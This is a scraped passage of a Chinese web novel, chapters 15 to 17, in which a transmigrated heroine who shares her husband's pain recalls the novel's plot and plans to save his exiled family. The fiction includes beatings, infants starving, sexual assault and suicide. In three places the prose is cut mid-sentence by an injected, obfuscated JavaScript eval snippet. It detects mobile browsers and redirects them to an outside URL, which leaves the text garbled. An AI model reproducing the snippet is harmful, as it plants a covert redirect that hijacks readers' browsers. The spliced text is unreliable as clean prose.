老太太本来就被陈氏气得说话不利索,如今这场面让她气上加气,激动下哆嗦着从圈椅上摔下来,眼泪糊了满脸,可旁边的庶子庶孙们没一个去扶她。 老三霍山用脚将老太太踢到一边,捞起她坐的那把圈椅,大声嚷嚷一句:“霍钧,女人们口角,男人上去作甚,你们大房好大的派头!” 他以此为殴打借口,说完将圈椅用力朝霍钧头打下去,椅子瞬间碎裂,男人登时头破血流。 “老七!” “七哥!” 大房几个女眷全被狠狠压在地上,眼看着霍钧血流不止而束手无策。 霍山之妻姜氏打红眼了,她对冯氏这位当家主母早已愤懑不已,大家世族有个通病,不患寡而患不均。 为何三房可以不分男女老少,每到月头人人都有五十两月例银子,可他夫君每月仅得二十两?她早欲向大房讨个说法,无奈庶出身份犹如枷锁,永远低人一等。 今日机会终于来了,姜氏趁势抓起圈椅残片用力击打冯氏,冯氏只觉胸前一阵刺痛,是肋骨断裂插进了肺里。 霍开没想到二房四房会动手,他和霍邱听到打斗哭喊声后连忙赶来阻止,可为时已晚。 二老爷霍安民趁机将自己的母亲刘姨老太太推出来做主写了分家书,然后威逼霍钧带着老太太把分家书递给侍卫,再由侍卫上表朝廷。 侍卫们自是不肯,以“逋逃之民”为借口,打了霍钧三十大板。 侍卫打的三十大板跟尹微月打陈氏那一百拐棍性质可不同,几板子下去就皮开肉绽了。 不到半日功夫,大房就伤了一堆人,外头死活不让请大夫,霍开只能拿以前备的草药简单给大房治伤,可也无大用处。 老太太当场气瘫痪了,霍钧那三十大板伤得很重,左耳也被霍山打得失聪,冯氏肋骨断裂刺破肺部,而贺氏苏氏和霍婉瑛被挠得浑身是血痕。家人突然遭逢巨变,贺氏的奶水被惊了回去,这就间接导致两个一岁多的小婴孩,在流放伊始就被饿死了。 尹微月刚开始看书时觉得大房的人太无用,可在深山里闲来无事回想几次后才领悟,大房老的老小的小,唯有一个十六岁的霍钧,还是个手无缚鸡之力的傻大个儿。 “木仓杆子里出Z权”这句话太对了,霍家的秩序崩塌,大房拳头不硬,无论怎么应对,最后只能是挨打的份。 可现在尹微月直接同步了霍钧的痛觉,所以未来他一定不能受伤,而霍钧受伤的起点就是从闹分家开始的。 所以只要不分家,流放前的这六个月内,霍钧就不会受伤,而她也就不会痛。 今日尹微月之所以直接跟陈氏挑明,就是为了坚决打消她挑拨离间搞分家的念头。 “我就明着和三婶说吧,不管你和其他两房怎么谋划,霍家出事之前分家能分了,现在铁定分不了。不说朝廷有律法,就是那些盼着霍府倒大霉的也不能同意,三婶可没有我这样一个好爹爹做后盾,有福气可以和离。 若再敢闹,老太太就一纸休书休了你。不过就算被休你也出不去这侯府大门,你的儿子闺女一辈子都姓霍,我们大房出不去,他们就算死也不出去。王公公留给大房的财物尽快送过来,一分一厘都不准差,该三房孝顺祖母的责任,一丝一毫也不能少。” 尹微月知道大房这一堆女眷各个都是面皮子薄的,要钱催债这种事她来做就行。 “孙儿在此立誓,绝对不会分家!”霍开跪在老太太面前,“昔日我仗着侯府风光只知挥霍,却不知大伯父和两位兄长的辛劳。三房的一切都是大房给的,明日我们会如数把王公公留下的财物送来。不管是生是死咱们都是一家人,日后咱们两房就一起用饭,三房必不会再寒祖母和大伯娘的心。” “好,你能这么想,也不枉费你大伯父对你的栽培,带你母亲回去上药吧。”老太太摆了摆手。 “谢谢祖母。”霍开重新将陈氏背起来,三人离开时,尹微月拉住张语琳的手。 “五嫂,两房吃饭就不必了,来回走动反而不方便。但孝顺祖母确实是你们三房应该的,过去祖母跟我们大房吃了两年,但也没吃好的,我们也不计较了。以后咱们每半年一轮,未来六个月就由你们三房给祖母来送饭,一日三餐,一餐都不能少。” 尹微月可不想两房凑一起吃饭,陈氏那嘴脸她半点不想多看,况且她还想日后开个小灶,两房一起不就露馅了吗?再说一直是大房给老太太养老,但霍安宗也是她亲儿子,未来六个月的伙食也该出一份。 不是图三房的东西,孝顺老人是原则问题。 “好,我们每日定会把饭菜送来。”张语琳柔声应道。 等三人走了,冯氏心里无比畅快,圈禁的两年来,终于打赢陈氏一次。 这两年,冯氏被亲情束缚,被内疚捆绑,压得她整日喘不动气,如今这口气竟是自己最不喜欢的儿媳妇给自己出了。 可一码事归一码事,尹氏钟情霍开是事实,不守妇道也是事实,一个红杏出墙的儿媳妇她无论如何也接纳不了。 霍开他们走后,天色已经大暗,幸得下午多云转晴,此时星攒夜寂、月上中天,照出一地孱孱倩影。 众人小心将老太太扶进房,拿出火折子点亮油灯,漆黑的屋子,亮了一隅。 今日事拖得时间久了些,晚食耽搁了,大家饿了一天,都指望着晚上这顿饭续命,冯氏赶紧带着闺女儿媳去灶房烧饭。 尹微月也起身要走,却被老太太叫住,她又看向霍钧,“瞧这一身狼狈的,赶紧去洗洗换身衣裳,老七媳妇,你去跟着搭把手。” 尹微月语塞,老太太这是知道他俩没圆房,要给他们制造亲.热机会? 霍钧没发表意见,对着老太太行礼后就往外走,身上太脏确实不舒服,得赶紧洗漱一番。尹微月见状也只得跟出去,毕竟她下午才当众豪言壮语表示,要跟他生同衾死同穴。 淡淡月光下,霍钧在前,尹微月走在后面。 她看着男人一瘸一拐的走路姿势不禁又一顿嘲讽。他痛,她也痛好吧,但一个大男人不至于连这点忍痛能力都没有吧? 果然是弱鸡。 尹微月真的非常非常好奇,《穿去古代当皇后》这本小说的作者,究竟是怎样把这样一个一步三喘的男人,刻画成后期同桌嘴里那个高武大反派的? 霍钧美丽却羸弱的模样,写成相公堂子里争宠的小倌,或者宫里揽权的太监,应该都比高武反派好写一点吧? 霍钧不知尹微月心里的想法,他往后院的井边走去,那里幽僻,家里女眷都不会去,他可以直接打水在井边洗漱。 已经开春了,现在他每日都是用冷水净身,虽然井水还有些刺骨,但热水他们现在是用不起的,烧火的柴太紧缺,要紧着做饭和女眷们用。 男人往后一撇头,却发现尹微月一直跟在后面,他皱眉。 “霍开已经走了,现在也没有外人在场,你不必再演戏了,还有,就算砍头也要跟我生同衾死同穴的话,以后不要再讲。 我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14592630|155946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在不同衾,将来若判死刑,谋逆大罪头颅肯定要悬首示众,尸身无人埋葬会被扔到野外喂狼,所以更不会死同穴。你说这话时不觉得虚伪肉麻,可我却不愿意欺骗祖母和母亲。” 话说着已经到了井边,他拿起拴了粗麻绳的木桶,又道:“尹微月,虽然成亲两年多你我相看两厌,但不管怎么说,今日你帮了大房。帮我查出当年真相,帮母亲解了心病,帮我们挣回了救命的银子。 所以我劝你一句,霍家虽然冤枉,却不知最终结局,你能和离出府,是这座大宅子里其他女人求也求不来的。既然已经与霍开决裂,不如我们和离,你彻底离开这个是非地吧。” 成亲两年霍钧的话加起来,也没有今晚多,今日他是真心实意感谢她。 尹微月瞥他一眼,还是那句话,“我不和离。” 霍钧以为她留下是为了报复霍开,可尹微月不是原身,对男主没有那些乱七八糟的心思,她只想保命而已。 霍钧想不通,女人都这么犟么?“为了一个不爱你的人,同归于尽值得?” 尹微月没有反驳,她穿书的那一刻,从未想过要维持原身人设,毕竟像原身那样不做个人挺难的,但也懒得解释,于是道:“我偏要以牙还牙,以血还血。” 霍钧啧啧两声,还真是爱之深,恨之切,他言尽于此,对方不听,他又不能强求。 于是转身将吊桶扔进井里,他晃了两下绳子,没有成功,接着又晃了两下,然后再晃了两下,依旧没有成功。 尹微月:“……” 霍钧有些羞恼,“我话都说清楚了,你还留在这里干什么?难不成……”还真要看他宽衣洗澡? 尹微月冷不丁讥讽一句:“你确定你能从井里提上水来?” 她之所以一路跟到井边,就是怕天黑井口湿滑,男人一不小心掉井里淹死,那她就真是冤死了。 霍钧一噎。 以前确实不能,可是自从被圈禁后奴仆都充公了,打水自然不能让母亲嫂子妹妹们做,所以他学会了。 平时他左右甩几下绳子,很快就可以提上水来,可今日因为有伤在身,他全身酸痛,尤其是胳膊和蝶骨,一使劲就疼,所以摆了很长时间的绳子,也没将井里的木桶装上水。 霍钧梗着脖子,不让自己在尹微月面前露短,“自然能。” 于是他又重新试了几次,都无功而返。 尹微月嗤笑一声,上前夺过粗麻绳,将木桶提起来后,又重新扔回井里,只见她将麻绳握住,然后用巧劲儿往左一摆,木桶沉了下去,一瞬就盛满井水。 她又在水里将桶颠了两下才往上提,这样把井里的浮萍和浮尘打散,提上来的全是干净的水。 整个过程一气呵成,将霍钧都看呆住了,他没想到这个蛮横娇纵的千金小姐,竟然还会提井水。 毕竟两年里她洗漱的水,都是尹家奴仆趁来送饭的功夫给她打的。 今天这女人给他带来的震撼太多了,要不是不信鬼神之说,他都怀疑今天这个反常的妻子,是不是被什么东西夺舍了。 看着这口井,扑面而来的熟悉感让尹微月又想到了前世。 虽然和大姐住在深山里时没有井,都是从山溪里接水喝。但她从小生活在偏远山村的孤儿院里,早些年孤儿院没有自来水,井口也没有压力泵,只能靠人工在井里摆绳索提水喝。 小时候她经常看院长妈妈打水,长大后慢慢的自己也会了,再后来井旁安了压力泵,孤儿院吃水再也不用挑了。可是这种摆绳提水贯穿了她一整个童年,是刻在她骨子里的记忆,如今自然手到擒来。 “洗吧。”尹微月说完往回走,她没兴趣看霍钧的果体,她可不喜欢瘦排骨,她喜欢肌肉发达的。 走了十几步,尹微月忽地回头瞪他,“真没用,连桶水都提不起来,你还是不是男人?” 说完女人心情颇好,哼着小调,踩着落下的斑驳月影,回前院的住处了。 留在原地被骂不是男人的霍钧被气红了脸,男人嘛都这样,再弱,也受不了别人说他不行。 16. 第16章 尹微月回到卧房后,顺势倒在床上呼出一口浊气,紧绷了一下午,现在终于能有时间平复一下穿书的心情。 也不知道大姐现在怎么样了。 前世,大姐是对自己最好的人,她兴趣很广,什么都会,不仅熟识各类中草药,还会武术拳击、荒野求生、种地打猎。 若没有大姐当年不计回报的救命之恩,尹微月早在丧尸刚爆发时就死了,哪能多活十五年,大姐就是她亦父亦母,亦师亦友的至亲。 她祈求老天爷一定要善待大姐,希望她也正穿书,能够肆意再活一回。 而对于自己穿书这件事,尹微月接受良好,她将这次复活,当成老天爷对她前世痛苦生活的弥补。 她望着房梁,手指一下一下敲击床面,思绪又回到多年前看的小说上。 其实【单向痛觉感应】只是她不和离的原因之一,还有一个更重要的原因是,尹家三族不久会集体被斩,男女老少一个不留。 虽然《穿去古代当皇后》她只看了前十章,但这是一本节奏非常快的爽文小说,而且作者人特好,非常懂得读者心理,开篇全是万字大章,又肥又美。 所以一些推动剧情的关键信息,前十章里交代不少。 文中第一章的章节题目为——楔子,主要内容是以“反派诬陷太子勾结兴武侯府,弑君篡位”这个切入点进行描写,讲述了霍府被圈禁的日常,相当于整本书的引子和前言。 而她现经历的,正是楔子里的内容。 面对明晃晃的构陷,老皇帝虽然大权旁落,但仍旧抗住压力没有诛霍家九族,而是下旨言明:太子圈禁太子府内;兴武侯霍安疆褫夺爵位,长子霍远、次子霍坚削去军职,一并压入天牢;霍府抄家,所有奴仆一并充公,其家眷皆被软禁于霍府。 但对于真相的调查并没有停止。 被半架空的老皇帝表面命刑部、大理寺、都察院合力查办太子谋反一案,可私下竟秘密派遣心腹暗中严查四皇子党羽,还一查就是两年。 四皇子以为自己掌控全局胜券在握,即使皇帝没有将霍家判死刑他也不慌,直到发觉危险可为时已晚。 眼看所有构陷太子的证据都要被推翻,四皇子怕事情败露牵出自己,于是断尾求生,干脆将尹家推了出来顶罪。 而尹建章出来顶包的时间正是在三日后,届时尹家三族下大狱,十日后,四皇子亲判斩立决,尹建章一死,太子和霍家的弑君谋反大案会被平反。 然而书里原身当场签下和离书,回娘家之后就这样倒霉催的一命呜呼了,还有霍家,虽然谋反案子平反了,但并没有脱困。 由于四皇子这次偷鸡不成蚀把米,不仅没扳倒太子,反而折损了尹家,他气急败坏,执意要把最大的阻力霍家搞掉。 于是以“其罪可疑”这四字为借口,强行继续关押霍安疆父子三人,他多番查探,终于在半年后查到错处。 霍安疆年轻时曾举荐过一名千夫长,此人虽然骁勇善战,但却是奴籍。大晟朝律法严明,明确规定,奴籍贱籍一律不得入仕参军,违者将判流放之刑。 律法面前霍安疆流放已成定局,但也不至于连累家人,可四皇子在此时发作,霍家便被架在了风口浪尖处。 成宣帝虽然想救霍家,但近年来他龙体欠安放权太多,太子又过于仁善,朝政大权早已悄然旁落。镇国公和四皇子把持朝廷命脉,群臣皆俯首听命,他和太子早已是“半架空”的状态。 若此时执意追究四皇子,不仅霍家救不了,更恐困兽思斗引发宫变,使得朝堂动荡、百姓遭殃。老皇帝穷尽一切才保住太子,面对多方压力,最后只能选择牺牲霍家。 在尹家被斩六个月之后,霍家一族被判流放八千里外的滇东北三年。只不过在四皇子的手笔下,霍家表面流放三年,实则却和五千多名犯人,被逼进一座与世隔绝的深山老林二十年。 霍家家眷圈禁期间消息闭塞,直到半年后流放时,才知道是尹建章陷害了兴武侯府。 尹家三族被诛已成定局,尹微月根本无力改变什么,她选择不和离,无非半年之后踏上流放之路。 可只要变成尹家女,三天后就会下大狱,十天后就会被拉去砍头,就算她提前知道前十章剧情,格斗术也练得不错,可那也斗不过整个封建王朝呀。 古代世家女子脱离本家正常的办法只有两个,要么出家要么出嫁。她当不了尼姑,因为她爱吃肉,也不认为和离后三天内能把自己再嫁出去。 所以不管因为【单向痛觉感应】,还是因为尹家被诛,暂时做霍家媳妇都是最稳妥的,她只要留在霍家,留在霍钧身边,确保这个“拖油瓶”身体健康,就等于她身体健康。 面对半年后的流放,尹微月必须做好万全的准备,她需要好好捋一下剧情,以防漏了什么。 《穿去古代当皇后》第一章是楔子前言,主要讲了霍府获罪原因以及霍家女眷被圈禁的日常,但从第二章开始正式进入正文内容。 这本书其实是一篇倒叙小说,正文是从胎穿女主张语琳被霍天逆杀死后,又重生到流放当天的时间点作为开篇的。 张语琳的内心独白中描写过,她是在流放的第二十年被霍天逆杀死,也就是说,霍家至少在深山老林生活了二十年,因为张语琳前世到死也没有逃出去。 当时作者大概是要留钩子,前十章并未挑明霍天逆就是霍钧,只是字里行间透露出张语琳对霍钧满满的恨意,所以尹微月看文时并不知道霍钧、霍天逆其实是同一个人。 尹微月不知霍钧与张语琳有什么仇恨,更不知道为何他黑化后会杀掉张语琳,但依照原书发展来看,两人敌对势必会发生。 重生归来的张语琳还多了一个时间比为1:1的空间,虽然空间面积只有十平米,但里面有一眼灵泉。 灵泉水可以强身健体,还可以变漂亮,最关键的是空间可以收纳物资,还且不会变质。虽然只有十平方米,但张语琳却用它储存了救命的食盐和粮食。 空间虽好,但限制也有不少。 ①比如空间里不能放活物,也不能进入除张语琳以外的人类,就算尸.体也不行。 ②空间里没有土壤,不长灵植,也无法种农作物。 ③灵泉出水量非常低,每天只能固定产出二百毫升水,就相当一小瓶矿泉水的量。 ④灵泉水在空间里喝有强身健体、美容养颜的功效,但拿出空间后就是普通的泉水,所有作用全部消失,只能解渴。 重生后的张语琳就是靠着空间和前世的记忆完美逆袭,用它避过前世走的许多弯路。 尹微月再次将记忆放到书中描写流放当天的内容上,大房在那天就先死了一多半的人。 此事说来话长。 流放当天,押解官兵的头目是四皇子的亲信,所有的兵卒又都是这个头目亲自挑选的心腹。 他们最根本的目的是来找大房错处,检查几乎用苛刻、变态来形容,大房什么都带不走。流放路上只能靠押解官兵给的一天一个黑窝头续命,这段实在是太惨了。 四皇子压根没想放过霍家,他命令底下的人流放那天必须不择手段对付霍家,誓要将霍安疆一脉在流放前斩尽杀绝。 那天首先遭殃的是大房两个小婴儿,押解官借着哭声吵人为由头,上手残忍打了襁褓中的婴儿好几巴掌。小婴儿哭得差点背过气去,贺氏、苏氏和冯氏上前阻拦,谁知官差看贺氏哺乳中别有一番风味生了歹心,于是故意当众上下其手。 霍钧和霍东冲上去保护大嫂。 在霍府分家时就已经受伤的霍钧,下一秒被官兵拔剑在胳膊上砍了一刀。这时有个官差鼻子特别灵,他除了闻到血腥味,还闻到了食盐的味道,很快锁目标定了小霍东。 他一把揪住霍东撕开衣服,发现里面衣服是湿的,上面被倒了浓盐水。原来霍东听嫂嫂们说流放路上会缺食少盐,才会偷偷想了这个办法。 尹微月当初看到这里时觉得很惋惜,本来不会发现的,谁知押解官差里会有个狗鼻子。 霍东私藏食盐,霍钧上前反抗,这些都给了押解官很好的借口杀人,他首先拿着刀捅向霍东。霍东毕竟才九岁,整个人都吓傻了,霍钧立刻用自己的病体去挡,腹部又狠狠挨了一刀。 霍婉瑛看着这场面泪眼婆娑。 她看到七哥身重两刀后血流如注,支撑不住倒在血泊之中,而一旁的小霍东吓傻了,一个官差正对他举起大刀。不远处两个襁褓中的婴孩满脸红肿躺在地上,几个侄子侄女哇哇大哭,母亲和两个嫂嫂正被当众凌辱…… 霍婉瑛大叫一声:“畜生们,要看就来看本姑娘吧!” 她神情悲怆,流着泪把自己的衣服一件件当众脱下,最后脱到连肚兜都不剩。这些押解官早就得到上面的授意,谁折磨霍家人越厉害,谁得到的赏赐就会越多。 那几个官差自然都被豆蔻年华的霍婉瑛吸引,上来就要把她往霍府里拖。在这空挡,霍婉瑛抢过一个人的佩刀,捅死了离她最近的两个兵卒,里面就包括那个狗鼻子。 她最后的遗言就是:“虽然我身为女子,但士可杀不可辱!”说完便当场自刎而死。 而冯氏本来就被霍山妻子姜氏打坏了肺,看着女儿惨死情绪激动下吐血而亡。 她留在世上最后的一句话是:“婉瑛,看,满山遍野的桑葚,娘给你酿桑葚酒,你最爱喝了。” 霍安疆父子三人从天牢押回流放队伍时,正好看到这个惨烈的画面,三人疯了般反抗,却被冠上叛逃的帽子被当街斩杀。 别看现在张语琳是一副置身事外的模样,但等到流放那天她前世的记忆回来后,对霍钧只会有恨。 这很正常,毕竟面对杀死自己的凶手,没人会不恨,当然,圣母玛丽苏可能除外,但张语琳不是。 而男主霍开,跟霍家其他人一样,并未出手相助。 不是他狠心见死不救,而是人为刀俎,我为鱼肉,救就是死。他还有自己嫡亲的家人要守护,若自己也死了,那么三房大概率也活不到流放地。 想到这些,尹微月叹口气。 霍家大房在求生的道路上,根本没有对手,全是天敌! 幸亏这个时候,已经出仕的张仲前张阁老,将先帝赏赐祖辈的铁券丹书拿了出来,这才没让这些人继续残害霍家大房其他人。他命人安葬了死者,又找来大夫替霍钧治伤,才保住他一命。 有大房用命来拖延时间,后面的二房、三房、四房可谓是一点损失也没有, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14592631|155946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而且连搜身都没顾上,身上的银钱都顺利带出来了。 张阁老联合朝中的几个忠臣贤良联名上书,让霍钧等人养好伤再流放,并要求撤换押解官头目溯宏。 朝堂之上,两派争论不休,到底四皇子还不能一手遮天,可皇上也未能完全做主。 最后圣旨大体内容是:霍家等人修养三日后上路,溯宏未被撤换,但同时派遣时任侍御史的睢阳立同为押解长官。 睢阳立虽然官职低微,但在押解途中,与四皇子派的溯宏职权相当,虽然他与霍家并无交集,但他为官清廉,品行正直,所以有他加入,溯宏绝不敢明目张胆迫害霍家人。 三天很快过去了,霍钧亲眼看着父亲母亲哥哥妹妹惨死,大嫂二嫂被侮辱,心脏之痛胜过割肉之痛。 谁能想到还没等流放,霍家大房人就死了一半,只剩下身受重伤的霍钧、偏瘫老太太、苏氏、贺氏,还有六个孩子。 流放上路那天。 老太太偏瘫由霍开背着,霍邱不顾二房嫡母反对坚持要背着霍钧,贺氏和苏氏带着六个孩子,就这样艰难地踏上了流放之路。 可好景不长,老太太把每天一个的窝窝头省下来给几个孩子吃,上路第七天就饿死了。 贺氏没有了奶水,两个小婴儿也死了,贺氏万念俱灰用尖石头割.腕.自.尽了。剩下的四个孩子,在溯宏的授意下,其中一伙流放犯用绳子将他们残忍勒死,苏氏发现后,不顾一切报仇,和其中一个坏蛋同归于尽了。 流放不过十天,整个大房就只活下来一个霍钧。 前世尹微月读到这里时,哭得鼻涕冒泡,甚至现在回想起书里的剧情她还是会心痛,尤其是霍婉瑛死的时候。 经过一下午的相处,她觉得大房人除了霍钧之外都还挺实诚,所以不想现实中霍婉瑛这样刚烈的女子再死一次。 自己都有机会穿书死而复生,也许大房这些人的命运也有机会改变呢?最重要的是霍钧,绝对不能让他像书里那样频频受重伤。 前十章的内容只写到流放第十五天,张语琳凭借前世记忆,帮助了一个懂药理的老太太,得到了她的指点,并救了睢阳立的一个亲信。 再后来的内容尹微月就不知道了,现在距离流放日还有六个月,如果真决定要救大房其他人,那么一切就得抓紧了。 尹微月到底没有大姐那样的好心肠,可以不计得失毫无条件救一个人,她在救与不救之间,仔细权衡。 斟酌一番后,尹微月最后决定救人,最主要的原因还是【单向痛觉感应】,她不知道霍钧到底何时才能发迹逆袭成大反派霍天逆,但若开局不救他,自己就得跟着倒霉。 若单救霍钧,参照他书里的表现肯定会为亲人不顾生死,以他那副身板百分百会再次受伤。这样循环往复也不是个头,所以还不如她详细妥帖计划好,直接从源头施救。 想通之后,她开始着手计划。 尹微月前世和大姐荒野独居十五年,进深山就跟回老家一样,在里面过二十年她倒不怕,但要过得舒服就不那么容易了。 如今霍家已经被关了近两年时间,当初家财粮食全都被抄走,就靠着典卖衣服、被褥换些吃的,但要比下大狱好太多了。 起码在霍府里能行动自由,睡觉时没有老鼠蟑螂臭虫,饭不是嗖的,衣服不是臭的,侯府院子里有水井,也能净身洗漱。 可流放之后就不会这么舒服了,不过目前第一个危险——闹分家,算是已经解决。 陈氏被震慑,应该不敢再撺掇分家,而且今日她让老太太和大房彻底看清了三房的嘴脸,他们不会因为愧疚和自责再对其他几房于心不忍。 没有分家这档子事,老太太就不会被气偏瘫,霍钧不会挨板子,左耳也不会失聪。冯氏肺也没被打出问题,贺氏的奶没有被气回去,那两个小的就不会在流放刚开始饿死。 有个好开端,后续事情也能顺利些,不过这只是第一关,最重要的还是流放当天。 书上说从押解官搜身,到张阁老带着铁券丹书前来营救,一共间隔两刻钟时间。所以只要她想办法在这段时间内拖住溯宏和兵卒,确保不会死人,那么圣旨一到,大房就有救了。 害,思路终于捋顺了。 尹微月总结了一下,六个月内她只要想办法解决三个大困难就行。 第一:半年内提高大房全员身体素质。 第二:在押解官搜身闹事时,必须想办法坚持两刻钟内不受伤、不死人。 第二:在押解官绝对发现不了的情况下尽量多带食盐。根据张语琳重生后的内心独白她知道,深山里没有办法获取食盐,他们最少在里面待二十年,不吃盐身体根本熬不住。 只要霍家大房顺利出城踏上流放之路,尹微月就有办法让这群人活下去。 苦头肯定是要吃的,但她不怕,大不了从头开始。前世她在深山住了十五年,所以野外求生对她来说已经变成了生活的一部分。 尹微月心里再次默默感谢大姐,因为大姐救了她两辈子。 “七嫂。” “七婶婶。” 这时门外稚嫩的童声打断了尹微月的思绪,一开门四个孩子出现在她面前,站位像WiFi信号似的。 17. 第17章 个子最高的霍东就不用再介绍了,尹微月看向比霍东略微矮点的女孩,她是贺氏的大女儿霍珍儿。 旁边比霍珍儿略微小点的男孩叫霍敢儿,他是贺氏的二儿子,剩下那个最小的男孩是苏氏的儿子霍启儿。 霍东:“七嫂,祖母让我们来问问,你今天愿不愿意和我们一起用饭。” 这次“七嫂”二字霍东毫不犹豫喊出了口,因为七嫂帮他们打跑了三婶,是英雄。 书里自霍家被软禁后,原身和大房就没有一起吃过饭,尹家靠关系买通了侍卫,尹微月一日三餐都是由尹家仆人送来,所以这两年从未饿着。 可自从五日前,尹家送饭的仆人就没再来了,原身以为因她不同意离开霍家,这是父亲尹建章逼她就犯的手段。所以这两天她都是靠着以前剩的糕点果腹,坚决不向家里低头。 但尹微月知道原身想错了,尹家仆人之所以没来,是因为四皇子把尹建章推了出来,虽说尹家三族还有三天才能入大牢,但他们此刻乱作一团,已经顾不上来送饭了。 “七嫂你去吗?刚刚五嫂来送饭了,有肉。”霍东见尹微月不做声,以为她是嫌弃伙食不好,于是又唯唯诺诺补了句。 尹微月点点头,这小子聪明伶俐,就是胆子太小。 “那走吧。”她牵着一群孩子往老太太院子里去,老太太年纪大了挪动不方便,所以吃饭都是在她房里吃的。 一进厅堂,尹微月就看到饭菜摆在地上,周围放着一个个蒲团。 因为大部分家具都在抄家时收走了,剩下的都劈了当柴火用来烧水做饭,所以两年来大家就一直就坐蒲团在地上吃饭。 霍钧也在其中,他洗完了澡,发尾处还在滴着水珠,又恢复了原先清冷疏离的姿态。瞧着连身上的脏衣服也一并洗了,然后又沥干水直接穿在身上,不知是没有衣服换,还是因为她在房里所以就没有回去换。 尹微月猜想,大概是后一种情况。 不过随即觉得很好笑,她是吃人的洪水猛兽吗?回去换个衣服都不敢。 “老七媳妇,来,坐这。”今天屋子里的人都对她充满了善意,两个嫂子很是热情,霍婉瑛也笑着给她选了个最厚实软和的蒲团。 虽然尹微月自嫁进门后就不做个人,但今天她为大房讨回了公道,关键还要回来救命的银子,可谓是大恩人了。 坐下后尹微月抬眼,只有老太太和她的碗里是满满的黄豆饭,其余人都是少半碗饭,而中间搁了一大汤碗卤的猪头肉。 女人看着地上的饭菜有些不忍,这里的人两年前还金尊玉贵,什么山珍海味没吃过,可如今想吃一碗猪肉竟是奢侈。 “这人呐上了年纪胃口是越来越小了。”说着老太太端起碗把自己的饭给小辈们分出一多半,“今天这顿肉,是老七媳妇挣来的,来,把那肉先给她匀碗里一半儿。” “不用了祖母。”尹微月连忙摆手,看着周围这群骨瘦如柴的人们,她怎么好意思一人吃半碗肉。 “我知道这两年你肚子里没缺着油水,但这是祖母的心意,再说我们两年不沾荤腥了,不敢一下子吃太多,否则身子受不住,你便多吃些。老七,快给你媳妇夹肉。” “是,祖母。”霍钧虽然嘴上答应可手却没动。 不是他小气舍不得几片肉,而是因为尹氏两年来都由尹家奴仆送饭,顿顿六菜一汤荤素搭配。这腥腻的猪头肉哪里能入得了她的胃,吃了也是浪费,还不如留给孩子们多吃几口。 一时间气氛有些尴尬。 “老七害羞了呢,我来替他夹。”这时贺氏赶忙救场,苏氏也是个有眼力劲的,连忙把尹微月的碗递给贺氏。 “谢谢祖母,谢谢大嫂二嫂,够了够了,虽然你们不敢一次性吃太多油水,那就留到下一顿,循序渐进地吃。”尹微月心里有些热,活了这么些年,除了大姐之外,这是第一次别人先把最好的东西分给她。 “大家一起吃。”尹微月看这一家老小只吃豆饭,谁也不肯去夹碗里的肉,都想把最好的留给家人吃,于是她只得起身挨个给大家分肉。 先给了老太太,然后是几个孩子,再是婆母冯氏,接着是霍婉瑛和贺氏苏氏,最后轮到霍钧。 到霍钧这儿尹微月很是不情愿,自己要共享他的痛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14593342|155946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉不说,刚才老太太让他给自己夹肉,他竟然抠抠搜搜舍不得。 一想到这茬,她便从汤碗里扒拉了两块全肥的给了他。 霍钧看着碗里的肥肉眉头一挑,有些吃惊地瞪她,尹微月立刻瞪回去,用眼神告诉他,他只配吃肥肉。 谁知老太太又开口了:“不错,定下心后,现在也知道要心疼老七了。” 尹微月:“……” 老太太说完这话,在座几位脸上的表情除了冯氏之外都带着笑意。尹微月终于明白霍钧刚才为什么会露出那种难以置信的眼神,因为她穿越来的是个肥肉比瘦肉好的年代。 失误了,只好用吃饭缓解尴尬的气氛。 她埋头吃了一口饭,接着又咬了一口肉,然后差点吐出来。卤肉又老又咸又腥,太难吃了,而且这豆饭看起来是碎的,但怎么还夹生? 唉,她忘了,书里这一大家子人从小都是娇生惯养钟鸣鼎食,哪里做过饭,就这还是练了两年后才有的水平。 尹微月虽然在山里住了十五年,可是进深山前,她和大姐把食品厂拉着调味品的箱货开了出来,油盐酱醋等调味品还真不缺。 她们在山里的日子起初虽然苦,可后面她和大姐种粮食种菜,打猎搞养殖,食物完全自给自足,不仅饿不着,还营养齐全。 所以这碗夹生饭,她吃不太下去。 尹微月看了看,默默把饭分给四个孩子:“你们正是长身体的时候,多吃点。” 四个孩子受宠若惊,尤其是小霍东,七嫂从来没这么温柔和他说过话,还给他饭吃,而且今天还教训了三婶,他特别喜欢今天这个七嫂。 “谢谢七嫂!” “谢谢七婶婶!” 四个孩子奶声奶气地道谢,有点小可爱。 “乖。”尹微月忍不住挨个摸了摸他们的头。 